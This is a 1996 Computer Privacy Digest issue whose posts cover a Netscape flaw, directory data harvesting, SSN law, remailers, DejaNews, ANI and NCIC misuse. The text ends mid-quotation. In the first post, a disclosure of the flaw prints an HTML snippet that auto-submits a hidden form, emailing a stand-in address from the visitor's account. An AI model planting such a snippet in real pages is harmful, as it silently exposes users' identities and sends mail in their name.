Date: Sun, 17 Mar 96 08:44:46 EST
Errors-To: Comp-privacy Error Handler <owner-comp-privacy@uwm.edu>
From: Computer Privacy Digest Moderator <comp-privacy@uwm.edu>
To: Comp-privacy@uwm.edu
Subject: Computer Privacy Digest V8#024
Computer Privacy Digest Sun, 17 Mar 96 Volume 8 : Issue: 024
Today's Topics: Moderator: Leonard P. Levine
Netscape Problems
Netscape White Pages Privacy Problem
Privacy Suit in San Diego
Legal Restrictions o SSN
Email Privacy
Re: Social Security Number Misuse
Re: Sadomasochistic imagery
Re: CIA & NSA run remailers
Re: CIA & NSA run remailers
Washington Post Editorial on DejaNews
Re: 800 ANI
Re: Social Security Number Misuse
Call for papers - personal information
Online Parental Control Act of 1996
Info on CPD [unchanged since 11/22/95]
----------------------------------------------------------------------
From: "Prof. L. P. Levine" <levine@blatz.cs.uwm.edu>
Date: 12 Mar 1996 10:30:06 -0600 (CST)
Subject: Netscape Problems
Organization: University of Wisconsin-Milwaukee
Taken from RISKS-LIST: Risks-Forum Digest Monday 11 March 1996 Volume
17 : Issue 88 FORUM ON RISKS TO THE PUBLIC IN COMPUTERS AND RELATED
SYSTEMS (comp.risks) ACM Committee on Computers and Public Policy,
Peter G. Neumann, moderator
From: Jon Reeves <reeves@zk3.dec.com>
Date: 11 Mar 1996 13:41:04 -0500
Subject: Yet another Trojan horse lurking in Netscape 2.0...
I noticed, while loading a web page, that there was a mailto: URL active
(using the "Easter Egg" Ctrl-Alt-T popup to see active URLs). Sure enough,
after I cancelled that and examined the source, I saw something like this:
<body onLoad="document.mailme.submit()">
<form method=post name="mailme"
action="mailto:nasty@secret.org?subject=gotcha">
<input type=hidden name="hi" value="there">
</form>
A quick test on my local machine shows that this will send a message to
nasty@secret.org with the subject gotcha and the body "hi=there".
This is insidious; it means that E-mail messages, purportedly from me (and
all traces will show they really are from me) can be sent anywhere, without
my knowledge, with contents that I do not approve. Further, it means that I
can no longer count on browsing a site without my userid being disclosed.
Unlike Java, there is no way to disable this. [Also been submitted to
Netscape.]
------------------------------
From: hbaker@netcom.com (Henry G. Baker)
Date: 09 Mar 1996 07:51:22 -0800 (PST)
Subject: Netscape's too-lenient syntax checking
From [frustrated web site visitor] The main link to [site name
deleted] doesn't work through 'lynx' because the html is not
correct. The '<a href...' for the [...] link is never
terminated with '</a>', so that the [site name deleted] link
won't work. Could you please look at this problem, and send me
a message when it is fixed. Thanks very much. >
From: [webmaster @ affected site]
RE: Re: [site name deleted] Web Link
Thanks for the input. The mistake was never noticed before because the
Netscape browsers are smart enough to detect the error and deal with
it. Lynx, however, is not. The problem is fixed, although I don't
recommend looking at the site with anything but Netscape 1.1N and
higher. We incorporate too many of Netscape's features to make viewing
these pages without it useful.
I have nothing against Netscape trying to be smart, but the very
sloppiness that makes it behave reasonably for unreasonable input
leads web page designers to believe that their web pages have been
debugged if they work correctly on Netscape. Perhaps Netscape should
have a `careful' mode for helping web page maintainers to provide
`squeaky clean' pages.
I have found numerous web page problems with Lynx in this way, and
when informed of these problems, some web page maintainers have been
downright snotty in their responses. Their attitude seems to be `it
serves you right for not using a graphical browser like Netscape'.
Perhaps the web site designers should wake up to the fact that most of
the sophisticated web surfers that I know either use an ascii browser
like Lynx, or turn off image loading when surfing, because they actually
want to visit more than one web site per day. All those pretty 4-color
_buttons_ (??) that they use look good for _one_ visit, and thereafter
------------------------------
From: "Prof. L. P. Levine" <levine@blatz.cs.uwm.edu>
Date: 15 Mar 1996 10:51:29 -0600 (CST)
Subject: Netscape White Pages Privacy Problem
Organization: University of Wisconsin-Milwaukee
Taken from RISKS-LIST: Risks-Forum Digest Thursday 14 March 1996
Volume 17 : Issue 90 FORUM ON RISKS TO THE PUBLIC IN COMPUTERS AND
RELATED SYSTEMS (comp.risks) ACM Committee on Computers and Public
Policy, Peter G. Neumann, moderator
Netscape White pages "Who Where?" risks (Brian Kelley)
From: brian@piglet.cam.cornell.edu (Brian Kelley)
Date: 13 Mar 1996 16:21:35 -0500
Subject: Netscape White pages "Who Where?" risks
A mate of mine, whom I will call Skip and his computer
ralph.nomame.edu, decided to look himself up on the "Who Where?"
database. He found his name, selected it, and was rewarded with the
response:
* Name: ??? Console
E-mail: skip@ralph.nomame.edu
Organization: cornell university, ithaca
Last Updated: --
This is all fine and good, except that a) he never registered himself
with the server and b) ralph.noname.edu is not a mail server and all
mail there will bounce. So the question is, how did this E-mail
address show up? So, I looked at my entry.
* Name: Brian Kelley
E-mail: brian@piglet.cam.cornell.edu
Organization: cornell university, ithaca
Last Updated: --
Now, piglet.cam.cornell.edu is also not my e-mail address.
We did a little digging and discovered that the standard unix command
"finger @ralph.noname.edu" responded with
[ralph.noname.edu]
Login Name TTY Idle When Where
skip ??? console 10:30 Tue 22:22
and "finger @piglet.cam.cornell.edu" responds with
[piglet.cam.cornell.edu]
User Real Name TTY Host Console Location
brian Brian Kelley 4 piglet 357 Theory Center
So, our assumption is, which is also a risk in itself, that some
program is fingering computers and "grep"ing the return info which, in
the case of skip is incorrect.
However, the real question is, how did these machines get registered
with the page? The answer is, Netscape. My best guess is that by
selecting the "Who Where?" page, or some other page, automatically
registers your machine with the database which then fingers your
machine for information. To test this theory, just look up the entries
for "root." (Which indicates many more risks, i.e. root running
Netscape, et. al.)
This would be fine if there was a notice that entering this page
automatically registers you (and everyone currently logged onto your
computers) with the database. However, the page highlights and
underlines the phrase "Add Your Listing" which indicates that it has
not been added already.
The risks, in the case of skip, are obvious. However, it was just
another reminder to myself about the propagation of personal
information (that may indeed be inaccurate.)
--
Brian Kelley 357 Rhodes Hall Cornell University Ithaca, N.Y. a14850
brian@ee.cornell.edu (607) 255-0963
------------------------------
From: "Brian Duck" <usfmcjnm@ibmmail.com>
Date: 12 Mar 1996 11:58:44 EST
Subject: Privacy Suit in San Diego
I need your help...
A couple of weeks ago, prior to a well-deserved and utilitzed vacation
in Colorado, I heard the tail end of an item on NPR (National Public
Radio) about a man in San Diego, CA who had recently won a court case
in which he had acted to protect his privacy.
(I'll recap the news item, but what I'm looking for are leads on the
case, the specific consumer protection bill he sited, and the actual
text used on the back of the check...)
As I recall, this individual was visiting a local retailer which had a
habit of gathering names and addresses for their marketing database
from their casual customers. He refused to have his name and address
enered into their computer, and (when he releaized that it would
becopied of his check) he added a simple paragraph to the reverse of
the check.
The paragraph stated, in general terms, that the check was an agreement
between the individual and the retailer. That the retailer agreed not
to use the individual's address WITHOUT consent, and that the check
endoresment was not consent. Also, the paragraph sited some 'specific
consumer protection bill' (my words, I'm looking to find out what this
reference was!) And, finally, the paragraph stated what the fine was
(within the limits of the state's small claims statute) for violating
the privacy of the individual.
He asked the clerk, and the manager to BOTH initial the paragraph, and
offered the check as payment.
As expected, his name and address was entered into the computer of the
marketing machine of the retailer, and he began receiveing catalogs.
He contacted the retailer, informing them that they were violating
their agreement with the individual, and asking them to cease. This
contact occured via registered mail.
After six attempts, the individual took the retailer to court,
presented the check, the recipts for the registered mailings, and was
awarded 6x the price identified in the agreement.
Any information to collaborate with this story would be appreciated.
Brian Duck usfmcjnm@ibmmail.com (internet)
President, BDuck (PROFS & eWorld) Ford
Macintosh User Group (313) 390-5329
------------------------------
From: Robert Gellman <rgellman@cais.cais.com>
Date: 12 Mar 1996 21:02:40 -0500 (EST)
Subject: Legal Restrictions o SSN
There were some recent postings here about legal restrictions on SSNs
that had some erroneous information.
The only real federal law restricting the collection of SSNs is section
7 of the Privacy Act of 1974. That is Public Law 93-579, and section 7
is uncodified. It can be found at 5 USC 552a note. Here is the text:
(a)(1) It shall be unlawful for any Federal, State or localH
government agency to deny to any individual any right,
benefit, or privilege provided by law because of such
individual's refusal to disclose his social security account
number.
(2) the provisions of paragraph (1) of this subsection shall
not apply with respect to -
(A) any disclosure which is required by Federal statute, or
(B) the disclosure of a social security number to any Federal,
State, or local agency maintaining a system of records in
existence and operating before January 1, 1975, if such disclosure
was required under statute or regulation adopted prior to such
date to verify the identity of an individual.
(b) Any Federal, State, or local government agency which requests an
individual to disclose his social security account number shall inform
that individual whether that disclosure is mandatory or voluntary, by
what statutory or other authority such number is solicited, and what
uses will be made of it.
Note that this only applies to government agencies and not to the
private sector.
There are quite a few other federal laws that expressly permit or
mandate the use the SSNs and that supersede the section quoted above.
In 42 USC 405, states are authorized to use SSNs for motor vehicle
purposes, welfare, and state tax purposes. The Selective Service can
also use SSNs under another federal law. The tax code REQUIRES people
who pay wages, dividends, interest, and engage in some other activities
to collect and report SSNs.
There is no federal law that I know of that restricts the collection of
SSNs by a private entity. I can't speak to state constitutions or
state laws, but there just isn't much help here from federal law. I
repeat: private companies can collect and disclose SSNs without
restriction under federal law. State governments are mostly
unrestricted in how they can disclose SSNs by federal law. The section
quoted above only restricts collection. The federal government itself
is restricted by the Privacy Act in its ability to disclose SSNs.
If someone knows of any other relevant federal laws, please post them
with specific cites.
+ + + + + + + + + + + + + + + + + + + + + + + + +
+ Robert Gellman rgellman@cais.com +
+ Privacy and Information Policy Consultant +
+ 431 Fifth Street S.E. +
+ Washington, DC 20003 +
+ 202-543-7923 (phone) 202-547-8287 (fax) +
+ + + + + + + + + + + + + + + + + + + + + + + + +
------------------------------
From: Ernesto Martinez <martinez@alexia.lis.uiuc.edu>
Date: 14 Mar 1996 15:28:40 -0600
Subject: Email Privacy
Organization: University of Illinois at Urbana
Hi, I am a Library Science student at the University of Illinois at
Urbana-Champaign. I am doing a research paper on email privacy in the
workplace.
My condition of foreigner has meant that I am not as well informed as
-I guess- an American might be, on recent (2-5 years) developments
affecting the topic in which I am working. That's why I am turning to
you for help.
Can you refer me to some judicial cases and/or internet resources
directly related to my topic?.
I also have a doubt that I guess you can help me to resolve: I have
been reading a 1989 book that explains that the US has not yet a
Privacy Protection Agency, despite some proposals.
Has this situation changed since the book's printing date?. Is EPIC and
other privacy advocates pushing for that commission to be created?.
--
Ernesto Martinez
Graduate School of Library and Information Science
University of Illinois at Urbana-Champaign
email: martinez@alexia.lis.uiuc.edu
------------------------------
From: lachman@netcom.com (Hans Lachman)
Date: 15 Mar 1996 10:48:48 GMT
Subject: Re: Social Security Number Misuse
Organization: Agency for the Prevention of Evil
References: <comp-privacy8.23.7@cs.uwm.edu>
anonymous <levine@blatz.cs.uwm.edu> writes: MY SSN, for example, is
also my driver's license number, my university employee number,
student loan account number, and, as of recently, my local
"business registration" number. The potential for abuse is
outrageous . . .
All the more reason to allow people to opt out of Social Security.
Once you're not in the system anymore, you won't need one of those
silly numbers.
While we're at it, we can also team up with the anti-IRS crowd. Once
the gov't phases out personal income tax, they won't need to perpetuate
the SS numbers as so-called Taxpayer Identification Numbers.
The above may not happen soon, but we can still work toward making them
happen eventually.
--
Hans Lachman
------------------------------
From: platinum <bluemoon@phantom.com>
Date: 14 Mar 1996 18:05:00 -0500 (EST)
Subject: Re: Sadomasochistic imagery
i'm not sure whether this got to the list; the mail system here has been
really screwy. so you may receive this message and the following one
twice. if so, my apologies for the inconvenience
sethf@mit.edu wrote: Have you heard the statement "Electronically,
everyone's a publisher"? Well, that's a good metaphor, but
sometimes it breaks down in detail. Is posting to alt.sex "just
like" selling books in an adult bookstore? I don't think so. But
the terms used can be vague enough to make an argument in this
manner.
i've always wondered why people discarded the original metaphor, which
i think is still the best:
bulletin boards.
you put something up on a bulletin board, using a thumbtack that has
your name on it. anyone who chooses to walk by the board can look at
it. each board is kept clearly labeled in such a way that everyone can
tell what the content is without having to read any of what's posted
there you are responsible for what you say. the only time a message is
taken off of an unmoderated board is when it gets too old and you need
space; if you're on a moderated board, you know it's moderated and you
accept that fact the first time you post. and, as always, no one has to
read what you say and everyone is free to respond in any manner sie
likes the issue that now comes into question is: who should be allowed
into the building where the boards are kept? who should be allowed to
access them and their content? (my opinion: everyone. other people's
opinons vary.) and if you let someone in, are you responsible for what
they see while they're inside?
let's not lose sight of the fact that some of the most ardent critics
of online behavior are online. we wouldn't have invented words like
"flame" if that sort of criticism didn't happen so very often. it is
really really easy to tell someone you take objection to hir behavior
in a newsgroup or on a list. what people offline don't like is that
it's just as easy to ignore the objection. this is what .kill files are
for. no one is forced to be offended more than once by anyone else. me,
i never had a killfile when i was reading newsgroups because i was
always sure that even the most truly abhorrent asshole might have
something meaningful to contribute somewhere down the line. this, i've
found, is an unusually forgiving viewpoint. but this is a _community_,
the online world, and i've found that when community standards are set
(either by the people moderating an area--"welcome to #backchat! no
swear words, no netsex, and above all _be friendly_!"--or by other
users--"i take extreme offense at what your saying and here is why"),
they actually tend to be obeyed
i have very little experience with newsgroups, so i can't speak too
much for them. on the other hand, i've spent about two and a half years
on four different irc networks and this works amazingly well. you
offend an op, you get kicked. sometimes you're warned first, sometimes
the kick is a warning. offend again and get banned. offend another user
and that user complains to an op, and you'll usually get the same
treatment. i've yet to find a channel where having ops was really
abused for any length of time, and i've seen a lot of places designed
to keep that from happening. if you don't like our rules, it tends to
go, make your own place with your rules and invite in the people you
want. as far as i can tell, it's the same with usenet
our self-censorship is incredibly effective (though i hate examples of
it like the equestrian newsgroup that decided to stop discussing
anything that might be construed as illegal under the CDA; that's just
wrong. that's an imposition of other "community standards" on us). no
one seems to be telling this to the media or the government, and it
might startle people enough to give us a bit of legroom. this is not a
total anarchistic free-for-all, no matter how much we may want it to
be, and we need to stop presenting it that way if we're going to get
anywhere in the fight against the real world
------------------------------
From: "Prof. L. P. Levine" <levine@blatz.cs.uwm.edu>
Date: 15 Mar 1996 10:37:17 -0600 (CST)
Subject: Re: CIA & NSA run remailers
Organization: University of Wisconsin-Milwaukee
Taken from RISKS-LIST: Risks-Forum Digest Thursday 14 March 1996
Volume 17 : Issue 90 FORUM ON RISKS TO THE PUBLIC IN COMPUTERS AND
RELATED SYSTEMS (comp.risks) ACM Committee on Computers and Public
Policy, Peter G. Neumann, moderator
From: denning@cs.cosc.georgetown.edu (Dorothy Denning)
Date: 14 Mar 96 14:14:55 EST
Subject: Response from Strassmann/Marlow on remailers
[From Paul A. Strassmann, National Defense University
and William J. Marlow, SAIC, via Dorothy Denning]
We find that a report by a Mr. Viktor Mayer-Schoenberger [e.g.,
RISKS-17.87] citing our alleged statements at a Harvard University
Conference has been widely quoted on Internet, out of context.
Specifically, he attributed to us statements that a number of anonymous
remailers in the US are run by government agencies and that the most
popular remailers in France and Germany are also run by government
agencies. What Mr. Viktor Mayer-Schoenberger reported as facts are
his interpretations. Our comments were of a general academic nature.
We were not attributing remailer activities to any specific
governments, but rather commenting on the general situation where much
of the research on the use of networks has been paid for by governments
and therefore one can assume that they would know how to make use of
such facilities. We have no specific knowledge of any particular
agency of any government offering remailers services. Whether or how
they use remailers is not known to us. Online users just need to be
"aware of the risks."
Paul A. Strassmann, National Defense University William J. Marlow,
SAIC
------------------------------
From: "Prof. L. P. Levine" <levine@blatz.cs.uwm.edu>
Date: 12 Mar 1996 10:33:09 -0600 (CST)
Subject: Re: CIA & NSA run remailers
Organization: University of Wisconsin-Milwaukee
Taken from RISKS-LIST: Risks-Forum Digest Monday 11 March 1996 Volume
17 : Issue 88 FORUM ON RISKS TO THE PUBLIC IN COMPUTERS AND RELATED
SYSTEMS (comp.risks) ACM Committee on Computers and Public Policy,
Peter G. Neumann, moderator
From: Raph Levien <raph@kiwi.cs.berkeley.edu>
Date: 11 Mar 1996 13:42:55 -0800
Subject: Re: CIA & NSA run remailers (Mayer-Schoenberger, RISKS-17.87)
As the maintainer of a remailer-list, I felt I should respond to this.
Strassmann and Marlow have lately been getting quite a bit of press
spreading anti-remailer fear, uncertainty and doubt. Almost all of it
is inaccurate.
It is certainly possible that governments are running remailers.
Personally, I tend to doubt it, but that's just because I know most of
the remailer operators. Even if governments were running remailers, the
use of a chain of remailers, rather than just one, protects against
compromise of identity even if one or more remailers are compromised.
It suffices that one of the remailers in the chain is honest.
It certainly isn't the case that the most popular remailers in France
and Germany are run by government agencies. Maybe if there were
remailers in these countries, they would be, but there aren't. There
used to be one in Germany, but it's no longer operating. There's never
been one in France. If there were, it would be quite illegal, due to
the French crypto restrictions.
The ability to crack 1000-bit keys would represent a major advance in
factoring technology. 1024-bit keys less than an order of magnitude
more effort to crack than 1000, so recommending them in face of
1000-bit keys having been cracked is ridiculous.
The current record for factoring an RSA key is still RSA-129, which is
only about 428 bits. Advances in factoring are expected, but most
people figure 1000 bits is a long way away.
[... don't forget that if you can monitor and compare the incoming
and outgoing mail from an anonymous remailer, ... PGN]
Remailers come in three different grades of security, depending on how
sophisticated a client is used. Low grade remailers, including the
popular anon.penet.fi, are subject to simple comparison of incoming and
outgoing messages. So-called type-1 remailers use PGP encryption, so
they are not vulnerable to this attack, but can be analyzed by
correlating the size of incoming and outgoing messages. The Mixmaster
remailers, by Lance Cottrell, are based on David Chaum's original
digital-mix theory, and can't be size-correlated either.
I can't guarantee that the remailer network is secure, but I feel that
ease-of-use, reliability, and vulnerability to spamming are greater
concerns at this point. Not to mention misinformation.
--
Raph Levien
------------------------------
From: "Declan B. McCullagh" <declan+@CMU.EDU>
Date: 14 Mar 1996 13:24:57 -0500 (EST)
Subject: Washington Post Editorial on DejaNews
I admit I'm a bit surprised by this editorial. It doesn't mention two
possible solutions for this "unnerving new technology" of
DejaNews/AltaVista: anonymity and pseudonymity.
Also, driving "adult" conversations onto mailing lists is not a good
thing technically, since mailing lists don't scale as well as USENET.
Socially, forcing conversations off USENET will only make it more
difficult for new users to participate. Legally -- well, how can an
operator of a mailing list judge whether a new subscriber is a minor or
not?
If the list is open (such as the forthcoming fight-censorship-announce
will be), anyone can join -- just like USENET, with just the same
problems. If the list is closed, then the operator would have the
terrible burden of checking IDs for new subscribers. This is
impractical, as I say in my affidavit discussing this list:
http://fight-censorship.dementia.org/top/
-Declan
-----------------------------------------------------------------------
The Washington Post
Editorial
March 14, 1996
Public Cyberspace
TECHNOLOGY, STILL on the move, has a way of changing the terms of
debate over whether and how cyberspace can or should be regulated.
The latest example is the emergence of an unnerving new technology
that goes by the name Deja News. Deja News is an Internet search
program that is capable, when fed a name, of retrieving every
instance of that name's having been mentioned anywhere in the public
areas of cyberspace -- including many, such as the so-called
newsgroups and bulletin boards, that participants have been
accustomed to treat as ordinary conversations that vanish into the
ether after a few days. Since a fair number of these newsgroups
have sprung up for the purpose of hosting conversations on off-color
topics, a great many people are now in roughly the position of those
Bush White House officials who didn't know that the system was
saving copies of their e-mail about Iran-contra.
It's not that the conversations in question are necessarily about
anything illegal. But, as with the scanners that feed your
grocery-buying preferences into a database and send you catalogues
based on what you buy, or the telephone companies that sell your
name and profile to a dozen junk-mail cooperatives, this
self-cataloguing Internet presents a rather different sort of
"space" and "speech" from what many using it have imagined till
now. One likely short-term effect will be to drive a lot of
conversation out of the public areas that worry the would-be censors
-- such as the 200 newsgroups that the Internet provider Compuserve
briefly blocked from access at the request of nervous prosecutors in
southern Germany -- and into protected spaces such as e-mail
subscription lists. With any luck it will not only undercut the
argument for censorship of the sort now under court challenge (the
Communications Decency Law, which would criminalize the transmission
of what is characterized as indecent material to minors) but render
it entirely beside the point.
The arrival of such technologies as Deja News underlines the strange
nature of speech on the Internet and the new ways in which it
divides up -- not just into the familiar divisions of private vs.
public but into a new category that might be called super-public. In
this category, what appear to be ordinary conversations turn out to
be a lot more like electronic newspaper archives, existing in a sort
of eternal present for anyone who happens to have the right tools.
------------------------------
From: lachman@netcom.com (Hans Lachman)
Date: 15 Mar 1996 11:32:47 GMT
Subject: Re: 800 ANI
Organization: Agency for the Prevention of Evil
References: <comp-privacy8.17.11@cs.uwm.edu> <comp-privacy8.18.10@cs.uwm.edu> <comp-privacy8.22.7@cs.uwm.edu>
I had a debate about all this with someone on comp.dcom.telecom a
couple years ago, and the debate ended with him saying that he
knows more about telecom than I do, and it's just not technically
feasible to implement these features in the telephone network
(i.e., ANI blocking option for the caller, and call rejection
option for the 800 number owner). All I can say is that, if that's
the case, then the telecom industry ought to hire better design
engineers.
johnl@iecc.com (John R Levine) writes: Well, if we were designing
the world's telephone system de novo, there's a lot we might do
differently. That's why CLID, which is new, has blocking options
while ANI, which is much older, doesn't. [snip]
This is exactly the attitude I was complaining about, i.e., "we're not
going to solve the problem because..." vs. "here's how the problem can
be solved...." Don't give up so easily.
You don't need to redesign the world's telephone system from scratch in
order to solve the problem. Here's an idea. Phase in CLID as the
method by which 800 number owners get the caller's number. Then
blocking will apply. OK, I'll save everyone the trouble of telling me
why this won't work by saying I'm not a telecom expert and I'm just
guessing. I'd instead like to hear from telecom experts who are
creative and persistent enough to produce ideas as to how to solve the
problem and reduce the cost of the solution, and not "no can do".
I'd like to think one of the reasons we have comp.society.privacy and
similar newsgroups is to discuss how to get technology to conform to
the needs of human beings, not the other way around. If the telecom
industry is capable of implementing ISDN, CLID, and other even more
frivolous features without redesigning the world, and without breaking
the bank, then I'm sure they can also find a way to implement a
*67-like feature that uniformly suppresses the caller's number, as
users expect. We're already past the question of whether the phone
system should work the way people want; the answer is "yes". The
question is how to achieve this goal.
Well?
--
Hans Lachman
------------------------------
From: softwa19@us.net (Charles R. Smith)
Date: 15 Mar 1996 20:14:20 GMT
Subject: Re: Social Security Number Misuse
Organization: US Net, Incorporated
References: <comp-privacy8.23.7@cs.uwm.edu>
anonymous <levine@blatz.cs.uwm.edu> wrote: I remember a discussion
back when I was sitting in Administrative Law class some years ago
to the effect that, technically, the SSN authorizing legislation
prohibits the use of SSNs for ANY purpose, including driver's
licenses. If I remember correctly, that's still on the books,
though widely disregarded.
This law is dodged by the mis-identification of the SSN number as a
"control number" in most states. A new law just went into effect here
in Virginia as of Jan. 1, 1996, giving people the OPTION to ask for a
random generated Drivers License Number instead of taking their SSN.
This cost quite a bit in programming but so far over 300,000 people
have elected the random number. The biggest problem so far has been
trying to associate the new random numbers with the real SSN for tax
purposes.
Additional information follows on NCIC SSN uses:
National Crime Information Center - (Much like the Internet but for law
enforcement only) NCIC is a nation wide network of computers made up of
local, state and federal systems. This system is tied to DMV
information in all 50 states, holding plate, driver, Vehicle ID number
and other auto related data. It is also tied to the FBI crime
information center which contains wanted information and all criminal
histories. It has access to all boat registration, plane registration
and fire-arms registrations. Other users of NCIC information are the
IRS, CIA, NSA, BATF, and most state welfare and taxation agencies.
NCIC has been used by an Arizona law enforcement official to find his
ex-girl friend and kill her. NCIC assisted a drug gang in Pennsylvania
identify narcotics agents. NCIC has been used by Private Detectives to
obtain information for political purposes. Most NCIC data is available
only through special terminals and passwords hooked up to this private
network. However, even after data is transmitted over a secure
network, local dispatchers pass this data to front line officers over
open radio systems. This fault has been used here in Virginia to
obtain clean names and SSNs for criminals to buy guns. Some agencies
with NCIC computers also have connections to the Internet, leaving them
open for possible hacker attack. I fought what seemed like an endless
battle with state officials here in Virginia in 1994 to NOT hook any
NCIC systems or data to the INTERNET. Although, the natural
inclination was to join the crowd, I was finally able to convince them
that doing so was risk not worth taking. This was done during the
State mandated Internet study when I questioned Maryland Officials
about security. They admitted that their SAILOR (a public Internet
connection) system had been used to penetrate the computers of a U.S.
nuclear power plant. Thus a direct link with NCIC died in Virginia.
In November, 1993, a local couple was murdered in their home in what
was discovered later to be a drug related crime. The police were able
to catch the killers because they found the couple's stolen car outside
an apartment complex. However, during the stake-out, the police used
their radio for a NCIC inquiry. A local TV station overheard the call
and put their live TV broadcast van on the spot in minutes. The police
were able to catch the two killers while dodging the TV reporters.
Fortunately, no one was killed.
Ten days later I demonstrated to Commander Lew Moore, head of
Communications for Chesterfield County Police, my on-line ciphering
software. I demonstrated secure data, graphics and VOC (voice) file
transfer, and playback, noting the fact that he had 100 cellular phones
and 30 laptops already available. I even pointed out proudly that it
could be used with packet radio modems easily adapted to his radios. I
even offered to let them have the software for free.
His response... "Well, that's nice but I really don't know what we
would use it for."
SOURCES:
NCIC details of operation, disclaimer, size and on-line agencies: NCIC
Users Manual - FBI, J.Edgar Hoover Bld., Washington, D.C.
NCIC abuses: John P. McPartlin, "GAO: FBI BREACH IS AN INSIDE JOB",
Information Week, Sept. 9th, 1993
Winn Schwartau, "INFORMATION WARFARE", Thunder's Mouth Press, 1994 ISBN
1-56025-080-1
Use of SAILOR to penetrate US nuclear reactor computer - Barbara G.
Smith, Manager Maryland State Library SAILOR Internet Project. VA
INTERNET STUDY COMMITTEE MEETING, August 25, 1994, Summary of Minutes
(Call Va. Dept of Information Technology for complete minutes at
804-344-5550)
--
Charles R. Smith SOFTWAR - Richmond, VA
http://www.ultimate.org/2292/
------------------------------
From: rja14@turing.newton.cam.ac.uk (R.J. Anderson)
Date: 16 Mar 1996 12:16:51 GMT
Subject: Call for papers - personal information
Organization: Isaac Newton Institute, University of Cambridge
PERSONAL INFORMATION - SECURITY, ENGINEERING AND ETHICS
21-22 June, 1996
Isaac Newton Institute, Cambridge
FIRST CALL FOR PAPERS
Many organisations are building computer networks that will share
medical records and other highly sensitive personal information. This
has led to debate in the UK, the USA, Germany and elsewhere over both
the propriety of such information sharing and the technical measures
that are necessary to control it. The debate has shown how little we
understand about the protection of personal information.
Most existing models of computer security were developed for
applications in banking and commerce or for the military and
intelligence communities. There the goal of confidentiality is to
protect the organisation's assets and operations. With personal
information, on the other hand, the goal is to uphold the rights of the
individual, and to facilitate professional practice in line with
established codes of ethics.
It is becoming clear that systems cannot adequately protect medical
records and other personal information by blindly following the banking
and military paradigms of computer security. A fresh approach is
needed.
For this reason, the British Medical Association is sponsoring a two
day colloquium at the Isaac Newton Institute, Cambridge, whose goal is
to bring together people interested in the protection of personal
information with computer security professionals.
Topics of interest include the interaction between privacy and safety,
security and safety policy, technical aspects, practice in different
countries, the tension between clinicians and researchers, privacy in
other systems (such as those supporting legal practice), the philosophy
of privacy, and the regulation of access to personal information by
administrators and law officers.
Programme committee:
Ross Anderson (Cambridge University, UK)
Dave Banisar (Electronic Privacy Information Center, USA)
Gerrit Bleumer (University of Hildesheim, Germany)
Paula Bruening (formerly Office of Technology Assessment, USA)
Ian Cheong (Royal Australian College of General Practitioners, Australia)
Fleur Fisher (British Medical Association, UK)
Elizabeth France (Data Protection Registrar, UK)
Bob Frankford (formerly Ontario Legislature, Canada)
Peter Landrock (Aarhus University, Denmark)
Robert Morris (NSA, USA and Cambridge University, UK)
Roderick Neame (Health Information Consulting, New Zealand)
Roger Needham (Cambridge University, UK)
Beverly Woodward (ACLU Massachussetts and Brandeis University, USA)
Instructions for authors:
Interested parties are invited to submit papers electronically (ascii,
latex or postscript) or in paper form; in the latter case, send twelve
copies suitable for blind refereeing (the authors' names should be on a
separate cover sheet and there should be no obvious references). Papers
should not exceed fifteen pages in length.
Addresses for submission:
rja14@newton.cam.ac.uk
Dr Ross Anderson
Isaac Newton Institute
20 Clarkson Road
Cambridge CB3 0EH, England
Deadlines:
Paper submission: 10th May 1996
Notification of acceptance: 3rd June 1996
Camera-ready copy for proceedings: 17th June 1996
------------------------------
From: Monty Solomon <monty@roscom.COM>
Date: 16 Mar 1996 16:07:18 -0500
Subject: Online Parental Control Act of 1996
Begin forwarded message:
From: telstar@wired.com (--Todd Lappin-->)
Date: 15 Mar 1996 16:48:54 -0800
To: telstar@wired.com
Subject: BACKGROUNDER: "Harmful to Minors"
I bring more detail about the "harmful to minors" standard used in the
"Online Parental Control Act of 1996," introduced by Rep. Anna Eshoo
(D-CA) on March 14.
With a few phone calls and a lot of very valuable assistance advice
from members of this mailing list, I've been able to track down some
specifics regarding the "harmful to minors" standard.
If passed, Eshoo 's legislation would supersede the Communications
Decency Act.
Eric M. Freedman, a professor of Consitutional Law at the Hofstra
University School of Law, explains that the "harmful to minors"
standard is essentially a modified version of the "obscenity" test laid
out by the Supreme Court in Miller v. California in 1973. (As always,
it's important to remember that obscene material does NOT enjoy First
Amendment protection.)
The "harmful to minors" standard basically adds a few caveats to the
"obscenity" standard laid out in Miller. The net effect is to create a
standard for children that is slightly more broad than the one used to
judge content designed for adults. As Professor Freedman describes
it,"harmful to minors" is predicated on "the concept of 'variable
obscenity,'meaning that some material that is not obscene as to adults
may be obscene as to children."
This is the text of the "Harmful to Minors" standard as it is defined
in the Online Parental Control Act of 1996:
--------------------------------------------------------------------------
"(5) HARMFUL TO MINORS--The term "harmful to minors" means
sexually explicit matter which meets all of the following criteria:
(A) Considered as a whole, the matter appeals to the
prurient interest of minors.
(B) The matter is patently offensive as determined
by contemporary local community standards in terms of
what is suitable for minors.
(C) Considered as a whole, the matter lacks serious
literary, artistic, political, educational or scientific
value for minors.
--------------------------------------------------------------------------
Compare this with the three-part legal test laid out in Miller v.
California, and you'll see that they are very similar.
Miller defines "obscene" material as that which a) depicts sexual or
excretory acts listed in a state obscenity statute, b) depicts those
acts in a "patently offensive" manner, appealing to the "prurient
interest," as judged by a reasonable person applying the standards of
the community, and c) lacks "serious" literary, artistic, social,
political, or scientific value.
(As an aside, I'll mention that applying the criteria of offensiveness
"as determined by contemporary local community standards standards"
remains thorny. The question of *which* community's standards should
apply becomes an obvious issue when your're dealing with a medium such
as the Internet which facilitates global distribution. I'll dig into
this more deeply in a forthcoming bulletin.)
The language used to define "harmful to minors" in the Online Parental
Control Act of 1996 differs slightly from language used to define the
standard in the past. This is an excerpt from a CDT Policy Post, dated
Dec 4, 1995:
--------------------------------------------------------------------------
III. BACKGROUND ON THE "HARMFUL TO MINORS" STANDARD
(Available at http://www.cdt.org/publications/pp311204.html)
Harmful to minors is an intermediate standard between indecency and
obscenity. It is essentially material that is obscene to a minor. It
has been used in 48 state statutes and has been ruled constitutional by
the Supreme Court. It is defined as follows:
"'harmful to minors' means any communications or material that is
obscene or that:
(a) taken as a whole, and with respect to minors, appeals to a
prurient interest in nudity, sex, or excretion;
(b) depicts, represents, or describes in a patently offensive way
with respect to what is suitable for minors, ultimate sexual
acts, normal or perverted, actual or simulated, sado-masochistic
acts or abuse; or lewd exhibition of the genitals, pubic area,
buttocks, or post-putertal female breasts; and
